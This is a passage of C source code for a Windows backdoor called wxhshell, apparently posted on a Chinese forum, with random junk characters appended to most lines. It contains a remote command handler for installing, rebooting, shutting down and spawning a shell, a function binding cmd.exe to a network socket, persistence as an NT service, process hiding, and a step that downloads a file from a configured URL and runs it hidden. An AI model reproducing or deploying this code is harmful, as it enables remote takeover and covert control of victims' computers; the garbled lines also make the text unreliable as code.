  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?AJKBW^  
  } Nd$W0YN:  
  else { Y~L2  
umiBj)r  
    switch(cmd[0]) { wN;^[F  
  3QG7C{  
  // 帮助 =p*]Az  
  case '?': { 77\] B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -(  
    break; \.-}adKg  
  } &Xf^Iu  
  // 安装 ~/98Id}v  
  case 'i': { \QYFAa  
    if(Install()) p-Kz-+A[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nEJY5Bz$  
    else )}"wesNo".  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j!U-'zJ  
    break; .(^ ,z&  
    } G LIi6  
  // 卸载 L&u$t}~)  
  case 'r': { [n \2  
    if(Uninstall()) IOqwCD[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sj HrPs e  
    else 2E}*v5b,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v^d]~ !h  
    break; {bJ`~b9e  
    } 6)Y.7XR  
  // 显示 wxhshell 所在路径 AlAYiUw{  
  case 'p': { BYVY)<v/  
    char svExeFile[MAX_PATH]; FaDjLo2'o  
    strcpy(svExeFile,"\n\r"); 0{,Z{&E  
      strcat(svExeFile,ExeFile); .k%[4:Fe  
        send(wsh,svExeFile,strlen(svExeFile),0); xI($Uu}S  
    break; Q9Kve3u-i  
    } G 8g<>d{j  
  // 重启 q|!-0B @  
  case 'b': { >[*8I\*@n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )qo {c1X  
    if(Boot(REBOOT)) A8uVK5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2O.i\cH  
    else { -f%'  
    closesocket(wsh); $a ]_w.@  
    ExitThread(0); = kJ,%\E`  
    } * +"9%&?  
    break; <}<zgOT[1!  
    } ca7=V/i_a{  
  // 关机 Ju96#v+:  
  case 'd': { yku5SEJ\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q7_ m&-0)  
    if(Boot(SHUTDOWN)) {2=jAz'?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "B3N* R(["  
    else { [5G6VNh=  
    closesocket(wsh); ==3dEJS  
    ExitThread(0); Z4S!NDMm~  
    } `6lr4Kk @R  
    break; ++6`sMJ  
    } nqI@Y)  
  // 获取shell QPx_-  
  case 's': { w<Wf?aG  
    CmdShell(wsh); wy0tgy(' |  
    closesocket(wsh); bM{s T"  
    ExitThread(0); k5:G-BQ:  
    break; sz:g,}~h  
  } M+U9R@  
  // 退出 DI:]GED" =  
  case 'x': { Si8pzd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,]46I.]  
    CloseIt(wsh); ABQ('#78  
    break; [k[u*5hP|F  
    } 4"@GNk~e  
  // 离开 rZojY}dWJ  
  case 'q': { ~1*A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `^(jm  
    closesocket(wsh); Um)>2|rp}  
    WSACleanup(); @ct+7v~  
    exit(1); 4Hb $0l  
    break; :s-o0$PlJ  
        } iB1i/l  
  } Z?NEO>h7  
  } Jz:r7w{4eB  
-h-oMqgu(  
  // 提示信息 'r} zY-FM`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GIftrYr  
} ]DvO:tM  
  } T#!lPH :&h  
85|fyX  
  return; pO~c<d}b  
} 02JoA+  
w %c  
// shell模块句柄 \aP6_g:N}  
int CmdShell(SOCKET sock) q (+ZwaV@  
{ ogeL[7  
STARTUPINFO si; m-V02's  
ZeroMemory(&si,sizeof(si)); | A:@ &|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h:/1X' 3d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?@R")$  
PROCESS_INFORMATION ProcessInfo; "Vd_CO  
char cmdline[]="cmd"; *Q}[ ]g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); va|rO#.=  
  return 0; ~V)?>)T  
} kw,$NK'  
>qn/<??  
// 自身启动模式 2GWDEgI1o  
int StartFromService(void) O\OE0[[  
{ RbQ <m!A  
typedef struct WW "i  
{ b X)|MiWI  
  DWORD ExitStatus; Psa@@'w  
  DWORD PebBaseAddress; uD>z@J-v  
  DWORD AffinityMask; vt]F U<  
  DWORD BasePriority; V*65b(q)  
  ULONG UniqueProcessId; TSo:7&|  
  ULONG InheritedFromUniqueProcessId; %*)2s,8  
}   PROCESS_BASIC_INFORMATION; dEp/dd~(&  
MonS hIz  
PROCNTQSIP NtQueryInformationProcess; S7n"3.k  
^[-> )  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fa3gJ[ZAqf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Jp;k+ "<q  
6~5$s1Yc  
  HANDLE             hProcess; 5)+F(  
  PROCESS_BASIC_INFORMATION pbi; h(xP_Svj>  
CJNG) p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 's@MQ! *  
  if(NULL == hInst ) return 0; }++5_Z_  
A['uD<4b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H`<?<ak6'M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {^&@g kYY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WOndE=(V  
U6WG?$x  
  if (!NtQueryInformationProcess) return 0; ER|!KtCSM  
9NIy#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hWGZd~L  
  if(!hProcess) return 0; n@B{vyy  
IUhp;iH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eihZp  
fuSq ={]  
  CloseHandle(hProcess); k\(4sY M  
|Is'-g!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aR(E7mXQ  
if(hProcess==NULL) return 0; 1=TSJ2{ 9  
ABWb>EZ8  
HMODULE hMod; P06 . 1  
char procName[255]; }|He?[TR  
unsigned long cbNeeded; ?Y`zg`  
3bH5C3(u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @f=RL)$|  
4]"w b5%  
  CloseHandle(hProcess); ]I XAucI]  
U+!UL5k  
if(strstr(procName,"services")) return 1; // 以服务启动 U(A4v0T  
B/u*<k4  
  return 0; // 注册表启动 n8FT<pUq  
} lQr6;D}+  
^fZGX<fH   
// 主模块 iQj2UTds3  
int StartWxhshell(LPSTR lpCmdLine) El1:?4;  
{ %QE5<2k  
  SOCKET wsl; s;>VeD)*)  
BOOL val=TRUE; w&+\Wo;([b  
  int port=0; )6C`&Mj  
  struct sockaddr_in door; o~}1 oN  
hOSf'mi  
  if(wscfg.ws_autoins) Install(); {*nEKPq(_*  
s9:%s*$u  
port=atoi(lpCmdLine); |<QI%Y$dr  
9g+UJ\u^  
if(port<=0) port=wscfg.ws_port; MyM+C}  
XL?A w  
  WSADATA data; $Gd5wmb!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,?#*eJD  
\ j x0ZHR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V[To,f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ][ rTQt m  
  door.sin_family = AF_INET; wC(XRqlE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^VC7C~NZ!M  
  door.sin_port = htons(port); 6BR \iZ  
)MMhlcNC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @qpYDnJ:  
closesocket(wsl); vsw7|  
return 1; Yo@m50s$  
} @>gD1Q7v b  
^,~N7`  
  if(listen(wsl,2) == INVALID_SOCKET) { >9(7h&[Y  
closesocket(wsl); Kyyih|{  
return 1; <?nB,U  
} nh?9R&  
  Wxhshell(wsl); sio)_8tp  
  WSACleanup(); X9z:D>   
//6^+-he  
return 0; d"LoK,p#  
[U% .Gi  
} 5>N6VeM  
0P3j+? N%  
// 以NT服务方式启动 e!.7no  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'MSEki67  
{ >~.Zr3P6kC  
DWORD   status = 0; Kp$_0  
  DWORD   specificError = 0xfffffff; |R[v@c`pn  
g?w2J6Z.`J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T$#FAEz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wBg<Q{J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DN4fP-m-  
  serviceStatus.dwWin32ExitCode     = 0; s$js5 ou  
  serviceStatus.dwServiceSpecificExitCode = 0; "sz.v<F0:s  
  serviceStatus.dwCheckPoint       = 0; gcQ.  YP9  
  serviceStatus.dwWaitHint       = 0; `wP/Zp{Hy  
}R7sj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !G+n"-h9'  
  if (hServiceStatusHandle==0) return; =}B4I  
N |OMj%Uk  
status = GetLastError(); D2>hMc  
  if (status!=NO_ERROR) ?ZSXoy-kr  
{ Dq0-Kf,^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~E^yM=:h  
    serviceStatus.dwCheckPoint       = 0; +a7EsR  
    serviceStatus.dwWaitHint       = 0; j;ff } b  
    serviceStatus.dwWin32ExitCode     = status; xn%l  
    serviceStatus.dwServiceSpecificExitCode = specificError; [0mFy) 6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d,h~u{  
    return; d~togTs1  
  } :t2 9`x  
*/0vJz%<.M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d,GtH)(s  
  serviceStatus.dwCheckPoint       = 0; bLU^1S8Z  
  serviceStatus.dwWaitHint       = 0;  ;'2`M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f:x9Y{Y  
} !=~s/{$PE  
1YF+(fk  
// 处理NT服务事件,比如:启动、停止 3s+<    
VOID WINAPI NTServiceHandler(DWORD fdwControl) nG4Uk2>  
{ b0~H>cnA  
switch(fdwControl) .IW_DM-  
{ RTgQ#<W8  
case SERVICE_CONTROL_STOP: :Y}Y&mA4  
  serviceStatus.dwWin32ExitCode = 0; t%]^5<+X58  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I =tyQ`  
  serviceStatus.dwCheckPoint   = 0; l0:e=q2Ax  
  serviceStatus.dwWaitHint     = 0; 1sIy*z  
  { [9db=$v8$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $'J6#Vs  
  } <WQ<<s@#pb  
  return; ,w9#%=xE  
case SERVICE_CONTROL_PAUSE: 'XZI{q2i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [5Y$L  
  break; bo~{<UT  
case SERVICE_CONTROL_CONTINUE: 3$96+A^M*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z uFV tW@  
  break; dIBKE0`  
case SERVICE_CONTROL_INTERROGATE: Th& Wq  
  break; uK4'n+_>\  
}; =x='<{jtgW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [G'!`^V,  
} q5'yD;[hE  
</+%R"`  
// 标准应用程序主函数 w$(0V$l_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HP4'8#3o  
{ 90y9~.v  
iXG>j.w{79  
// 获取操作系统版本 oM18aR&  
OsIsNt=GetOsVer(); MW",r;l<aM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?sjZ13 SUa  
C+L_61  
  // 从命令行安装 UgD'Bi  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?5r2j3mqgv  
k8x&aH  
  // 下载执行文件 ~J. Fl[  
if(wscfg.ws_downexe) { Qa7S'(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iw~V_y4  
  WinExec(wscfg.ws_filenam,SW_HIDE); HgSmAziv  
} $cJN9|$6  
eMm~7\ R  
if(!OsIsNt) { _r?;lnWx@  
// 如果时win9x,隐藏进程并且设置为注册表启动 u7Y'3x,`  
HideProc(); V M\Z<}C  
StartWxhshell(lpCmdLine); "k6IV&0 3x  
} T956L'.+G  
else ~&[P` Z$  
  if(StartFromService()) \xO2WD  
  // 以服务方式启动 @R OY}CZ{/  
  StartServiceCtrlDispatcher(DispatchTable); |`(?<m  
else 6JFDRsX>)?  
  // 普通方式启动 #Z=)=  
  StartWxhshell(lpCmdLine); A_(+r  
>NOYa3  
return 0; d-N"mI-  
}
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只看该作者 1 发表于: 2006-10-10
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